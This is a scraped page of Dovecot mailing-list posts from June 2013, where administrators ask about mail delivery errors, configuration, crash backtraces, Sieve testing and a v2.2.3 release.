Hi there, I've encountered an issue with the LDA in which I get a "Connection refused" error. There is a serverfault question ( http://serverfault.com/questions/517262/dovecot-with-postfix-configuration-…) if you would like to read that version, otherwise, the details are as follows: Dovecot 2.0.19 Postfix 2.9.6 Ubuntu 12.04 The actual error message I receive is --------------------------------------------------------------- postfix/pickup[16842]: 019023A06AB: uid=1000 from=<vagrant> postfix/cleanup[19542]: 019023A06AB: message-id= <20130620140358.019023A06AB@mail-server-berkshelf> postfix/qmgr[16843]: 019023A06AB: from=<vagrant(a)mail-server-berkshelf.localdomain>, size=382, nrcpt=1 (queue active) dovecot: lda: Debug: Loading modules from directory: /usr/lib/dovecot/modules dovecot: lda: Debug: Module loaded: /usr/lib/dovecot/modules/lib90_sieve_plugin.so ---> dovecot: lda: Error: userdb lookup: connect(/var/run/dovecot/auth-userdb) failed: Connection refused dovecot: lda: Fatal: Internal error occurred. Refer to server log for more information. postfix/pipe[19545]: 019023A06AB: to=<test(a)chefdovecot.com>, relay=dovecot, delay=1.2, delays=0.04/0.01/0/1.1, dsn=4.3.0, status=deferred (temporary failure) dovecot -n snippet: -------------------------------------------------------------- # 2.0.19: /etc/dovecot/dovecot.conf # OS: Linux 3.2.0-23-generic x86_64 Ubuntu 12.04 LTS ext4 auth_debug = yes auth_debug_passwords = yes auth_mechanisms = plain login auth_socket_path = /var/run/dovecot/auth-userdb auth_verbose = yes auth_verbose_passwords = plain mail_debug = yes mail_location = maildir:/var/vmail/%d/%n/Maildir managesieve_notify_capability = mailto managesieve_sieve_capability = fileinto reject envelope encoded-character vacation subaddress comparator-i;ascii-numeric relational regex imap4flags copy include variables body enotify environment mailbox date ihave passdb { args = /etc/dovecot/dovecot-sql.conf.ext driver = sql } plugin { sieve = ~/.dovecot.sieve sieve_dir = ~/sieve } postmaster_address = info(a)*****.com protocols = imap pop3 sieve imap pop3 service auth-worker { user = vmail } service auth { unix_listener /var/spool/postfix/private/auth { group = postfix mode = 0660 user = postfix } unix_listener auth-userdb { group = vmail mode = 0644 user = vmail } user = dovecot } service managesieve-login { inet_listener sieve { port = 4190 } } ssl = no ssl_cert = </etc/ssl/certs/star_***_com.crt ssl_key = </etc/ssl/private/star_***_com.key userdb { args = uid=5000 gid=5000 home=/var/vmail/%d/%n allow_all_users=yes driver = static } verbose_ssl = yes protocol lda { info_log_path = /var/log/dovecot-lda.log log_path = /var/log/dovecot-lda-errors.log mail_plugins = sieve } protocol imap { mail_max_userip_connections = 20 } Extra from auth-sql ----------------------------------------- userdb { driver = static args = uid=vmail gid=vmail home=/var/vmail/%d/%n allow_all_users=yes } File permissions on auth-userdb ----------------------------------------- srw-r--r-- 1 vmail vmail 0 Jun 20 13:04 /var/run/dovecot/auth-userdb I have tried changing the permissions and owner of auth-userdb to 777 and dovecot:dovecot, but there wasn't a change. Any leads or ideas are appreciated. I'm happy to research on my own, but atm I'm not sure where to continue looking. Adam

2 2

[Dovecot] Would attempting plaintext auth repeatably cause a DOS and server to crash?
by Hugh Davenport 21 Jun '13

21 Jun '13

Hey All, I'm just wondering whether this is what caused my server to crash. Started last night in NZ land. Jun 20 19:22:11 elm dovecot: imap-login: Disconnected (tried to use disallowed plaintext auth): user=<>, rip=attackerip, lip=10.0.0.3, session=<0C8LzpDfZQDINsQC> occasionally get Jun 20 19:22:52 elm dovecot: imap-login: Disconnected (no auth attempts in 1 secs): user=<>, rip=attackerip, lip=10.0.0.3, session=<bHdz0JDfpwDINsQC> or in 0 secs last at Jun 20 19:26:24 elm dovecot: imap-login: Disconnected (tried to use disallowed plaintext auth): user=<>, rip=attackerip, lip=10.0.0.3, session=<1MUR3ZDfcwDINsQC> and a minute later the server lost contact to the world. When I checked a bit later, the underlying host machine (dovecot runs on a VM (KVM)) had been powered off. Now, here in NZ land, there was also a crazy storm last night, and lots of brown outs. There could potentially of been a surge that killed it, but the UPS was still running fine when I started it again. The "attack" lasted around 4 minutes, in which there was 1161 lines in the log for a single attacker ip, and no other similar logs previously. Would this be enough to kill not only the VM running dovecot, but the underlying host machine? All up to date with patches, running debian stable (wheezy). dovecot-core debian package version 1:2.1.7-7 dovecot version 2.1.7 I notice there is a version 2.2.3 out, but not in debian yet. Could this fix this issue? I don't particularly want to have it happen again :D. Any thoughts? Cheers, Hugh

3 2

[Dovecot] Allowing clients to test their Sieve scripts
by Frerich Raabe 21 Jun '13

21 Jun '13

Hi, One thing which came up repeatedly is that clients using the IMAP server I run (using Dovecot 2.1) wonder whether they broke their Sieve scripts, i.e. it often goes like "I don't know whether I just didn't receive any mail, or whether my filters broke. Can you check the logs?". I then usually just run the sieve-test binary (part of the Pigeonhole distribution) and send them the output. However, I was wondering - is there maybe a way for them to try it themselves? Like, maybe a tiny web server which just prints a form asking for a mail file and a sieve script, and then it runs sieve-script and prints the output of that? I wonder how other people do that. -- Frerich Raabe - raabe(a)froglogic.com www.froglogic.com - Multi-Platform GUI Testing

9 27

[Dovecot] doveadm move syntax
by vincent truc 20 Jun '13

20 Jun '13

Hello I want to forward an email to user1(a)domain.com box to the box user2(a)domain.com For this I try to use 'doveadm move', but I'm having problems with the syntax. Could you give me an example please? thanks

2 1

[Dovecot] MySQL tables and official documenttation
by Mohsen Pahlevanzadeh 20 Jun '13

20 Jun '13

Dear all, Unfortunately, i created my tables according to the older tutorial, i search in dovecot.org and postfix.org but i didn't find any official documentation for tables. I want to use PF 2.10 and dovecot 2. Its tutorial was wrote on debian etch. eatch is very old. ---mohsen

3 2

[Dovecot] HowTo / VirtualUserFlatFilesPostfix
by treanorv 20 Jun '13

20 Jun '13

The following is an excerpt from the HOWTO mentioned Per-domain authentication and configuration structure /var/vmail dr-x------ 3 doveauth dovecot 4096 2010-03-17 19:09 auth.d |--> domain.tld Can anybody decypher the "|--> domain.tld" part please. Regards, treanorv -- View this message in context: http://dovecot.2317879.n4.nabble.com/HowTo-VirtualUserFlatFilesPostfix-tp42… Sent from the Dovecot mailing list archive at Nabble.com.

2 2

[Dovecot] dovecot enterprise release
by mourik jan SOGo 20 Jun '13

20 Jun '13

Hi all, Not sure if this is the right place to ask, but...: On the dovecot enterprise release pages, only debian 6 compatibility is shown. Are there any plans to support wheezy? (as 7 is stable now, and we are running it...) Regards, Mourik Jan

6 12

[Dovecot] pop3 and imap don't run
by Mohsen Pahlevanzadeh 20 Jun '13

20 Jun '13

Dear all, I run dovecot and when i use 'ps ax |egrep dovecot' command , i get the following result: ////////////////// 9290 pts/3 S+ 0:00 tail -f /var/log/dovecot.err 9597 ? Ss 0:00 /opt/dovecot/sbin/dovecot 9598 ? S 0:00 dovecot/anvil 9599 ? S 0:00 dovecot/log 9601 ? S 0:00 dovecot/config 9606 pts/0 S+ 0:00 egrep --color=auto dovecot /////////////// I dont see any pop or imap process. --mohsen

3 2

[Dovecot] Patch for pigeonhole 0.4.0 avoiding PATH_MAX
by Svante Signell 19 Jun '13

19 Jun '13

Hi, I recently downloaded and built dovecot-2.2.2 and dovecot-2.2-pigeonhole-0.4.0 on GNU/Linux and GNU/Hurd. The changes needed will be sent to the Debian maintainer shortly. Latest Debian release is 2.1.7-7 and dovecot-2.1-pigeonhole-0.3.1. When building dovecot-2.2.2 there were no PATH_MAX problems on GNU/Hurd, thank you for that. However, pigeonhole 0.4.0 had one remaining PATH_MAX construct. The attached patch solves this problem. It it good enough to be accepted upstream? (According to the description of t_malloc, free is not needed, right?) Thanks, Svante Signell

3 4

[Dovecot] A common, read-only IMAP INBOX for all accounts
by Gus 19 Jun '13

19 Jun '13

Hi, since I had no luck finding people available on IRC, I hope someone here can provide me with some answers to, hopefully, 2 simple questions (and have the solution recorded in the archives for everyone with the same need). A little background, as the subject says it - I want to have a single INBOX shared among all the accounts on my system, where only one account would have writing rights, and all the rest would only be able to read the messages. Note this is different than providing a shared mailbox in addition to an INBOX - I actually want the shared INBOX to be the one and only folder that users can see and read as they will not be receiving any personal mails on this system. Naturally, I would also want that each account keeps track of read/unread messages independently of others. So, this is what I came up with (showing the relevant part of configuration only): # Per-user mail root and private/shared INBOX namespace userdb { driver = static args = uid=vmail gid=vmail home=/var/vmail/users/%u } namespace { type = private separator = / prefix = location = maildir:/var/vmail/public:INDEX=~/public inbox = yes } # The ACL contents of /var/vmail/public/dovecot-acl user=admin lrwstipekx anyone lrs Now, this actually results in exactly what I want (apart from a problem I'll describe below), but I'm not sure if it's the right way to do it. So the questions: 1. I have doubts that this solution could cause problems with dot file locking or dovecot data files corruption in the /var/vmail/public mailbox/directory when multiple users access the box simultaneously (and this could be thousands of users in production). Is this a valid concern and have I gone completely wrong with this solution, or there should be no problem with locking and I can keep it this way? If this is not the way to do it, can someone advise on the proper configuration that would achieve the same result, if it's possible at all (or what are the alternatives if it can't be done). 2. For testing purposes, I used a perl script (using the Maildir::Lite module) to create a test message in this mailbox (it gets stored in the new/ subdirectory, as I suppose it should). Now this message shows up as "unread" for all accounts, however when I read it in an IMAP client and then refresh the mailbox, it shows up as unread again. Per-user INDEX directory is writable and I see some files created there by dovecot, so shouldn't they contain the \Seen flags that indicate the message has been read? Is this maybe a client problem and how can I check that dovecot actually saves the flag correctly? The dovecot version I'm using is 2.0.9 (from the CentOS 6.x repositories). Thanks in advance and kind regards, Tin

2 2

[Dovecot] Crashes at login time with freshest code
by interfaSys sàrl 19 Jun '13

19 Jun '13

Hello, Dovecot keeps crashing at login time. Things were fine on 2.2.2 Fatal: master: service(imap): child 5014 killed with signal 11 Here is the trace: Core was generated by `imap'. Program terminated with signal 11, Segmentation fault. #0 0x00000000105cdfdf in mailbox_list_get_storage (list=0x7fffffffe310, vname=0x10a04ab0 "INBOX/spam", storage_r=0x7fffffffe308) at mailbox-list.c:811 811 if (set != NULL && set->driver[0] != '\0') { (gdb) bt full #0 0x00000000105cdfdf in mailbox_list_get_storage (list=0x7fffffffe310, vname=0x10a04ab0 "INBOX/spam", storage_r=0x7fffffffe308) at mailbox-list.c:811 set = 0x10a89758 #1 0x00000000108c2876 in acl_backend_vfile_get_local_dir (backend=0x10a33a40, name=0x10a04a48 "INBOX/spam") at acl-backend-vfile.c:148 ns = 0x10a5d3c0 list = 0x10a45040 storage = 0xb type = MAILBOX_LIST_PATH_TYPE_DIR dir = 0x10a1a250 "INBOX/spam" inbox = 0x1055dcc0 <static_system_pool> "\200\334U\020" vname = 0x10a04ab0 "INBOX/spam" error = 0x0 __FUNCTION__ = "acl_backend_vfile_get_local_dir" #2 0x00000000108c2a6c in acl_backend_vfile_object_init (_backend=0x10a33a40, name=0x10a04a48 "INBOX/spam") at acl-backend-vfile.c:195 _data_stack_cur_id = 9 backend = 0x10a33a40 aclobj = 0x10a8c380 dir = 0x10a04a68 "\003" vname = 0x10a45258 "\220R\244\020" #3 0x00000000108c05a2 in acl_object_init_from_name (backend=0x10a33a40, name=0x10a04a48 "INBOX/spam") at acl-api.c:15 No locals. #4 0x00000000108ca3d7 in acl_mailbox_list_have_right (list=0x10a45040, name=0x10a04a48 "INBOX/spam", parent=false, acl_storage_right_idx=0, can_see_r=0x0) at acl-mailbox-list.c:63 alist = 0x10a45328 backend = 0x10a33a40 idx_arr = 0x10a453f8 aclobj = 0x1ffffe420 ret = 0 ret2 = 10 #5 0x00000000108cad9c in acl_mailbox_list_info_is_visible (ctx=0x10a11040) at acl-mailbox-list.c:336 info = 0x10a110a8 acl_name = 0x10a04a48 "INBOX/spam" ret = 0 __FUNCTION__ = "acl_mailbox_list_info_is_visible" #6 0x00000000108caf36 in acl_mailbox_list_iter_next (_ctx=0x10a11040) at acl-mailbox-list.c:386 _data_stack_cur_id = 8 ctx = 0x10a11040 info = 0x10a4a0c0 ret = 0 #7 0x00000000105e4394 in mailbox_list_iter_next_call (ctx=0x10a11040) at mailbox-list-iter.c:941 info = 0x10a110a8 set = 0x10a11110 #8 0x00000000105e44ae in autocreate_iter_next (ctx=0x10a11040) at mailbox-list-iter.c:969 actx = 0x10a11110 info = 0x7fffffffe510 autoboxes = 0x10a45040 autobox = 0x7fffffffe530 count = 4096 __FUNCTION__ = "autocreate_iter_next" #9 0x00000000105e466c in mailbox_list_iter_next (ctx=0x10a11040) at mailbox-list-iter.c:1010 _data_stack_cur_id = 7 info = 0x10a11118 #10 0x00000000108cacd3 in iter_mailbox_has_visible_children (ctx=0x10a10840, only_nonpatterns=false) at acl-mailbox-list.c:299 iter = 0x10a11040 info = 0x10a11118 pattern = 0x10a047c8 prefix = 0x10a04800 "INBOX/*" i = 5 prefix_len = 6 stars = false ret = true __FUNCTION__ = "iter_mailbox_has_visible_children" #11 0x00000000108cade9 in acl_mailbox_list_info_is_visible (ctx=0x10a10840) at acl-mailbox-list.c:345 info = 0x10a108a8 acl_name = 0x10a047a0 "INBOX" ret = 1 __FUNCTION__ = "acl_mailbox_list_info_is_visible" #12 0x00000000108caf36 in acl_mailbox_list_iter_next (_ctx=0x10a10840) at acl-mailbox-list.c:386 _data_stack_cur_id = 6 ctx = 0x10a10840 info = 0x10a490c0 ret = 0 #13 0x00000000105e4394 in mailbox_list_iter_next_call (ctx=0x10a10840) at mailbox-list-iter.c:941 info = 0x0 set = 0x0 #14 0x00000000105e44ae in autocreate_iter_next (ctx=0x10a10840) at mailbox-list-iter.c:969 actx = 0x10a10910 info = 0x7fffffffe6b0 autoboxes = 0x2 autobox = 0x10a9b000 count = 0 __FUNCTION__ = "autocreate_iter_next" #15 0x00000000105e466c in mailbox_list_iter_next (ctx=0x10a10840) at mailbox-list-iter.c:1010 _data_stack_cur_id = 5 info = 0x10a1b780 #16 0x00000000105e343b in mailbox_list_ns_iter_try_next (_ctx=0x10a10440, info_r=0x7fffffffe768) at mailbox-list-iter.c:580 ctx = 0x10a10440 ns = 0x1050912c <o_stream_get_buffer_used_size+41> info = 0x10a1b808 error = MAIL_ERROR_NONE errstr = 0x10a47840 "" has_children = false __FUNCTION__ = "mailbox_list_ns_iter_try_next" #17 0x00000000105e36fc in mailbox_list_ns_iter_next (_ctx=0x10a10440) at mailbox-list-iter.c:645 info = 0x0 #18 0x00000000105e4394 in mailbox_list_iter_next_call (ctx=0x10a10440) at mailbox-list-iter.c:941 ---Type <return> to continue, or q <return> to quit--- info = 0x417e06 <client_send_line_next+159> set = 0x7fffffffe7d0 #19 0x00000000105e467e in mailbox_list_iter_next (ctx=0x10a10440) at mailbox-list-iter.c:1012 _data_stack_cur_id = 4 info = 0x2 #20 0x000000000041039c in cmd_list_continue (cmd=0x10a47840) at cmd-list.c:229 ctx = 0x10a47938 info = 0x10a10918 flags = (MAILBOX_NOCHILDREN | MAILBOX_SELECT) str = 0x10a04548 mutf7_name = 0x10a04698 name = 0x10a10c40 "INBOX" ret = 1 #21 0x0000000000410c2c in cmd_list_full (cmd=0x10a47840, lsub=false) at cmd-list.c:463 client = 0x10a47040 args = 0x10a100d8 list_args = 0x104e15a0 <buffer_write+90> arg_count = 32767 ctx = 0x10a47938 patterns = {arr = {buffer = 0x10a47978, element_size = 8}, v = 0x10a47978, v_modifiable = 0x10a47978} ref = 0x10a47968 "" pattern = 0x10a47970 "*" patterns_strarr = 0x10a479b0 str = 0x10a04268 #22 0x0000000000410c81 in cmd_list (cmd=0x10a47840) at cmd-list.c:478 No locals. #23 0x0000000000419e11 in command_exec (cmd=0x10a47840) at imap-commands.c:156 hook = 0x10a22100 ret = false #24 0x0000000000418d59 in client_command_input (cmd=0x10a47840) at imap-client.c:775 client = 0x10a47040 command = 0x7fffffffe950 __FUNCTION__ = "client_command_input" #25 0x0000000000419059 in client_command_input (cmd=0x10a47840) at imap-client.c:836 client = 0x10a47040 command = 0x10a277e0 __FUNCTION__ = "client_command_input" #26 0x0000000000419179 in client_handle_next_command (client=0x10a47040, remove_io_r=0x7fffffffe9dd) at imap-client.c:874 No locals. #27 0x00000000004191f9 in client_handle_input (client=0x10a47040) at imap-client.c:886 _data_stack_cur_id = 3 ret = false remove_io = false handled_commands = false __FUNCTION__ = "client_handle_input" #28 0x000000000041938c in client_input (client=0x10a47040) at imap-client.c:928 cmd = 0x10a21178 output = 0x10a92088 bytes = 19 __FUNCTION__ = "client_input" #29 0x00000000104fc976 in io_loop_call_io (io=0x10a8c2c0) at ioloop.c:387 ioloop = 0x10a21040 t_id = 2 #30 0x00000000104fe46f in io_loop_handler_run (ioloop=0x10a21040) at ioloop-kqueue.c:148 ctx = 0x10a190a0 events = 0x10a50000 event = 0x10a50000 tv = {tv_sec = 1799, tv_usec = 999497} ts = {tv_sec = 1799, tv_nsec = 999497000} io = 0x10a8c2c0 events_count = 6 ret = 1 i = 0 __FUNCTION__ = "io_loop_handler_run" #31 0x00000000104fca19 in io_loop_run (ioloop=0x10a21040) at ioloop.c:406 No locals. #32 0x0000000010493800 in master_service_run (service=0x10a1b140, callback=0x425f06 <client_connected>) at master-service.c:560 No locals. #33 0x0000000000426220 in main (argc=1, argv=0x7fffffffebe8) at main.c:400 set_roots = {0x42f680 <imap_setting_parser_info>, 0x0} login_set = {auth_socket_path = 0x10a04038 "p@\240\020", postlogin_socket_path = 0x0, postlogin_timeout_secs = 60, callback = 0x425cca <login_client_connected>, failure_callback = 0x425e92 <login_client_failed>, request_auth_token = 1} service_flags = MASTER_SERVICE_FLAG_KEEP_CONFIG_OPEN storage_service_flags = MAIL_STORAGE_SERVICE_FLAG_DISALLOW_ROOT username = 0x0 c = -1 Cheers, Olivier

3 5

[Dovecot] dovecot creating unknown users
by Yann Shukor 19 Jun '13

19 Jun '13

Hi We recently installed a dovecot postfix roundcube debian wheezy serverIt is now in production and we are feeling our way as we progressivelyadd new users to this local server. I noticed that dovecot is creating user directory structures for unknown users withinour domain in /var/vmail, even though we have setup a static users.conf db file. I tried omiting the "allow_all_users=yes" parameter but that doesn't seem to be linked to this issue Sorry if this has been asked a number of times already Is there an easy way to search the archives of this mailinglist ? Thanks yann # 2.2.2 (45399357008a): /etc/dovecot/dovecot.conf # OS: Linux 3.2.0-4-686-pae i686 Debian 7.0 ext4 auth_debug = yes auth_mechanisms = plain login auth_socket_path = /var/run/dovecot/auth-userdb auth_verbose = yes disable_plaintext_auth = no first_valid_gid = 5000 first_valid_uid = 5000 hostname = holimail.holinice.com last_valid_gid = 5000 last_valid_uid = 5000 listen = * mail_debug = yes mail_gid = vmail mail_location = maildir:/var/vmail/%d/%n/Maildir mail_privileged_group = mail mail_uid = vmail managesieve_notify_capability = mailto managesieve_sieve_capability = fileinto reject envelope encoded-character vacation subaddress comparator-i;ascii-numeric relational regex imap4flags copy include variables body enotify environment mailbox date ihave namespace inbox { inbox = yes location = maildir:/var/vmail/%d/%n/Maildir mailbox Drafts { special_use = \Drafts } mailbox Junk { special_use = \Junk } mailbox Sent { special_use = \Sent } mailbox "Sent Messages" { special_use = \Sent } mailbox Trash { special_use = \Trash } prefix = subscriptions = yes } passdb { args = scheme=CRAM-MD5 /etc/dovecot/users.conf driver = passwd-file } passdb { driver = pam } plugin { sieve = ~/.dovecot.sieve sieve_dir = ~/sieve } postmaster_address = azurtem(a)holinice.com protocols = " imap sieve pop3" service auth-worker { user = $default_internal_user } service auth { unix_listener /var/spool/postfix/private/auth { group = postfix mode = 0666 user = postfix } unix_listener auth-userdb { group = vmail mode = 0600 user = vmail } } service imap-login { group = dovecot inet_listener imap { port = 143 } inet_listener imaps { port = 993 ssl = yes } } service imap { process_limit = 1024 } service pop3-login { inet_listener pop3 { port = 110 } inet_listener pop3s { port = 995 ssl = yes } } service pop3 { process_limit = 1024 } ssl_cert = </etc/ssl/certs/dovecot.pem ssl_key = </etc/ssl/private/dovecot.pem userdb { args = uid=5000 gid=5000 home=/var/vmail/%d/%n allow_all_users=yes driver = static } userdb { driver = passwd } protocol lda { mail_plugins = " sieve" }

2 1

[Dovecot] deny users
by BONNET, Frank 19 Jun '13

19 Jun '13

hello I'm in trouble with the deny feature the log is like the following Jun 18 17:37:53 auth: Error: Error in configuration file /usr/local/etc/dovecot/deny.imap line 1: Expecting '=' in the documentation said to write one username per line in the deny file that is what I did ...what is the format of this file ? thank you

3 2

[Dovecot] v2.2.3 released
by Timo Sirainen 18 Jun '13

18 Jun '13

http://dovecot.org/releases/2.2/dovecot-2.2.3.tar.gz http://dovecot.org/releases/2.2/dovecot-2.2.3.tar.gz.sig This is a pretty important upgrade for v2.2 users, because of the IMAP ENVELOPE reply fix. * LDA/LMTP: If new mail delivery first fails with "temporary failure", tempfail the whole delivery instead of falling back to delivering the mail to INBOX. (Requires new Pigeonhole as well.) * doc/solr-schema.xml was updated to Solr v4.x format. Also the default analyzers were changed, hopefully for the better. Note that the schema can't be changed for existing Solr indexes without rebuilding everything. * Solr plugin does only soft commits from now on. You'll need a cronjob to send a hard commit command to it every few minutes. + Added %N modifier for variables as %H-like "new hash" + sdbox, mdbox: Support POP3 message order field (for migrations) + Added mailbox { driver } to specify a different mail storage format for the mailbox than generally used within the namespace. + Added initial lib-sasl library for client side SASL support. Currently supports only PLAIN, LOGIN and plugins. Used currently by IMAP and POP3 proxying when authenticating to the remote server. - IMAP: If subject contained only whitespace, Dovecot returned an ENVELOPE reply with a huge literal value, effectively causing the IMAP client to wait for more data forever. - IMAP: Various URLAUTH fixes. - imapc: Various bugfixes and improvements - pop3c: Various fixes to make it work in dsync (without imapc) - dsync: Fixes to syncing subscriptions. Fixes to syncing mailbox renames.

9 12

[Dovecot] Mailbox conversion/importing
by Alan Brown 18 Jun '13

18 Jun '13

I've been tasked with importing a large bunch of mbox folders (about 500) into an existing mdbox setup in Dovecot 2.1 As far as I can see, dsync "mirror" or "backup" are both inappropriate ways of doing this. Does anyone have any suggestions about how I could proceed? Thanks in advance

5 5

[Dovecot] doveadm index crashes when indexing shared mailboxes
by W. de Hoog 18 Jun '13

18 Jun '13

Hi, We store our mail archive in a tree of subfolders. I am trying to speed up text searching on our mail archive but when running "doveadm -D -v index -u neil shared/Exalon/Aandeelhouders" the following output is produced: doveadm(neil): Debug: Loading modules from directory: /usr/lib/dovecot/modules doveadm(neil): Debug: Module loaded: /usr/lib/dovecot/modules/lib20_fts_plugin.so doveadm(neil): Debug: Module loaded: /usr/lib/dovecot/modules/lib21_fts_squat_plugin.so doveadm(neil): Debug: Loading modules from directory: /usr/lib/dovecot/modules/doveadm doveadm(neil): Debug: Skipping module doveadm_acl_plugin, because dlopen() failed: /usr/lib/dovecot/modules/doveadm/lib10_dovea dm_acl_plugin.so: undefined symbol: acl_user_module (this is usually intentional, so just ignore this message) doveadm(neil): Debug: Skipping module doveadm_expire_plugin, because dlopen() failed: /usr/lib/dovecot/modules/doveadm/lib10_do veadm_expire_plugin.so: undefined symbol: expire_set_deinit (this is usually intentional, so just ignore this message) doveadm(neil): Debug: Skipping module doveadm_quota_plugin, because dlopen() failed: /usr/lib/dovecot/modules/doveadm/lib10_dov eadm_quota_plugin.so: undefined symbol: quota_user_module (this is usually intentional, so just ignore this message) doveadm(neil): Debug: Skipping module doveadm_zlib_plugin, because dlopen() failed: /usr/lib/dovecot/modules/doveadm/lib10_dove adm_zlib_plugin.so: undefined symbol: i_stream_create_deflate (this is usually intentional, so just ignore this message) doveadm(neil): Debug: Module loaded: /usr/lib/dovecot/modules/doveadm/lib20_doveadm_fts_plugin.so doveadm(neil): Debug: auth input: neil system_groups_user=neil uid=1000 gid=1000 home=/home/neil doveadm(neil): Debug: Effective uid=1000, gid=1000, home=/home/neil doveadm(neil): Debug: Namespace inbox: type=private, prefix=, sep=, inbox=yes, hidden=no, list=yes, subscriptions=yes location= mbox:~/mail:INBOX=/var/mail/neil doveadm(neil): Debug: fs: root=/home/neil/mail, index=, control=, inbox=/var/mail/neil, alt= doveadm(neil): Debug: Namespace : type=shared, prefix=shared/, sep=/, inbox=no, hidden=no, list=yes, subscriptions=no location= mbox:~imapshared doveadm(neil): Debug: mbox: INBOX defaulted to /home/imapshared/inbox doveadm(neil): Debug: fs: root=/home/imapshared, index=, control=, inbox=/home/imapshared/inbox, alt= doveadm(neil): Info: shared/Exalon/Aandeelhouders: Caching mails seq=1..27 27/27 doveadm(neil): Panic: file mbox-storage.c: line 711 (mbox_transaction_unlock): assertion failed: (mbox->box.transaction_count > 0 || mbox->mbox_lock_type == F_UNLCK) doveadm(neil): Error: Raw backtrace: /usr/lib/dovecot/libdovecot.so.0(+0x3c0ba) [0x7fb91d7460ba] -> /usr/lib/dovecot/libdovecot .so.0(default_fatal_handler+0x2a) [0x7fb91d74617a] -> /usr/lib/dovecot/libdovecot.so.0(i_fatal+0) [0x7fb91d71d85a] -> /usr/lib/ dovecot/libdovecot-storage.so.0(+0x54d80) [0x7fb91d9e4d80] -> /usr/lib/dovecot/libdovecot-storage.so.0(+0x54dee) [0x7fb91d9e4de e] -> /usr/lib/dovecot/modules/lib20_fts_plugin.so(+0xb0e2) [0x7fb91c2c30e2] -> /usr/lib/dovecot/libdovecot-storage.so.0(mailbo x_transaction_commit_get_changes+0x3d) [0x7fb91da0010d] -> /usr/lib/dovecot/libdovecot-storage.so.0(mailbox_transaction_commit+ 0x15) [0x7fb91da00145] -> /usr/lib/dovecot/modules/lib21_fts_squat_plugin.so(+0x3927) [0x7fb91c0ab927] -> /usr/lib/dovecot/modu les/lib21_fts_squat_plugin.so(+0x39b1) [0x7fb91c0ab9b1] -> /usr/lib/dovecot/modules/lib20_fts_plugin.so(+0x649c) [0x7fb91c2be49 c] -> /usr/lib/dovecot/modules/lib20_fts_plugin.so(fts_backend_update_deinit+0x2b) [0x7fb91c2be59b] -> /usr/lib/dovecot/modules /lib20_fts_plugin.so(+0xb03c) [0x7fb91c2c303c] -> /usr/lib/dovecot/modules/lib20_fts_plugin.so(+0xb0d3) [0x7fb91c2c30d3] -> /us r/lib/dovecot/libdovecot-storage.so.0(mailbox_transaction_commit_get_changes+0x3d) [0x7fb91da0010d] -> /usr/lib/dovecot/libdove cot-storage.so.0(mailbox_transaction_commit+0x15) [0x7fb91da00145] -> /usr/bin/doveadm(+0x15430) [0x7fb91e0fb430] -> /usr/bin/d oveadm(+0x11f66) [0x7fb91e0f7f66] -> /usr/bin/doveadm(+0x12a41) [0x7fb91e0f8a41] -> /usr/bin/doveadm(doveadm_mail_try_run+0x161 ) [0x7fb91e0f8f01] -> /usr/bin/doveadm(main+0x3d1) [0x7fb91e0f7b21] -> /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf5) [0x7fb91d363ea5] -> /usr/bin/doveadm(+0x11d55) [0x7fb91e0f7d55] Aborted (core dumped) When indexing is triggered using the imap server it logs: Jun 10 12:32:16 indexer: Error: Indexer worker disconnected, discarding 1 requests for neil Jun 10 12:32:16 indexer-worker(neil): Fatal: master: service(indexer-worker): child 22173 killed with signal 6 (core dumps disabled) Jun 10 12:32:16 imap(neil): Error: indexer failed to index mailbox shared/Suppliers/NXP Jun 10 12:32:16 indexer-worker: Debug: Loading modules from directory: /usr/lib/dovecot/modules Jun 10 12:32:16 indexer-worker: Debug: Module loaded: /usr/lib/dovecot/modules/lib20_fts_plugin.so Jun 10 12:32:16 indexer-worker: Debug: Module loaded: /usr/lib/dovecot/modules/lib21_fts_squat_plugin.so Jun 10 12:32:16 indexer-worker: Debug: auth input: neil system_groups_user=neil uid=1000 gid=1000 home=/home/neil Jun 10 12:32:16 indexer-worker(neil): Debug: Effective uid=1000, gid=1000, home=/home/neil Jun 10 12:32:16 indexer-worker(neil): Debug: Namespace inbox: type=private, prefix=, sep=, inbox=yes, hidden=no, list=yes, subscriptions=yes location=mbox:~/mail:INBOX=/var/mail/nei l Jun 10 12:32:16 indexer-worker(neil): Debug: fs: root=/home/neil/mail, index=, control=, inbox=/var/mail/neil, alt= Jun 10 12:32:16 indexer-worker(neil): Debug: Namespace : type=shared, prefix=shared/, sep=/, inbox=no, hidden=no, list=yes, subscriptions=no location=mbox:~imapshared Jun 10 12:32:16 indexer-worker(neil): Debug: mbox: INBOX defaulted to /home/imapshared/inbox Jun 10 12:32:16 indexer-worker(neil): Debug: fs: root=/home/imapshared, index=, control=, inbox=/home/imapshared/inbox, alt= Jun 10 12:32:16 indexer-worker(neil): Panic: file mbox-storage.c: line 711 (mbox_transaction_unlock): assertion failed: (mbox->box.transaction_count > 0 || mbox->mbox_lock_type == F _UNLCK) Jun 10 12:32:16 indexer-worker(neil): Error: Raw backtrace: /usr/lib/dovecot/libdovecot.so.0(+0x3c0ba) [0x7f9da1ef60ba] -> /usr/lib/dovecot/libdovecot.so.0(+0x3c0fe) [0x7f9da1ef60fe ] -> /usr/lib/dovecot/libdovecot.so.0(i_fatal+0) [0x7f9da1ecd85a] -> /usr/lib/dovecot/libdovecot-storage.so.0(+0x54d80) [0x7f9da2194d80] -> /usr/lib/dovecot/libdovecot-storage.so.0( +0x54dee) [0x7f9da2194dee] -> /usr/lib/dovecot/modules/lib20_fts_plugin.so(+0xb0e2) [0x7f9da0a730e2] -> /usr/lib/dovecot/libdovecot-storage.so.0(mailbox_transaction_commit_get_chang es+0x3d) [0x7f9da21b010d] -> /usr/lib/dovecot/libdovecot-storage.so.0(mailbox_transaction_commit+0x15) [0x7f9da21b0145] -> /usr/lib/dovecot/modules/lib21_fts_squat_plugin.so(+0x3927 ) [0x7f9da085b927] -> /usr/lib/dovecot/modules/lib21_fts_squat_plugin.so(+0x39b1) [0x7f9da085b9b1] -> /usr/lib/dovecot/modules/lib20_fts_plugin.so(+0x649c) [0x7f9da0a6e49c] -> /usr/ lib/dovecot/modules/lib20_fts_plugin.so(fts_backend_update_deinit+0x2b) [0x7f9da0a6e59b] -> /usr/lib/dovecot/modules/lib20_fts_plugin.so(+0xb03c) [0x7f9da0a7303c] -> /usr/lib/doveco t/modules/lib20_fts_plugin.so(+0xb0d3) [0x7f9da0a730d3] -> /usr/lib/dovecot/libdovecot-storage.so.0(mailbox_transaction_commit_get_changes+0x3d) [0x7f9da21b010d] -> /usr/lib/dovecot 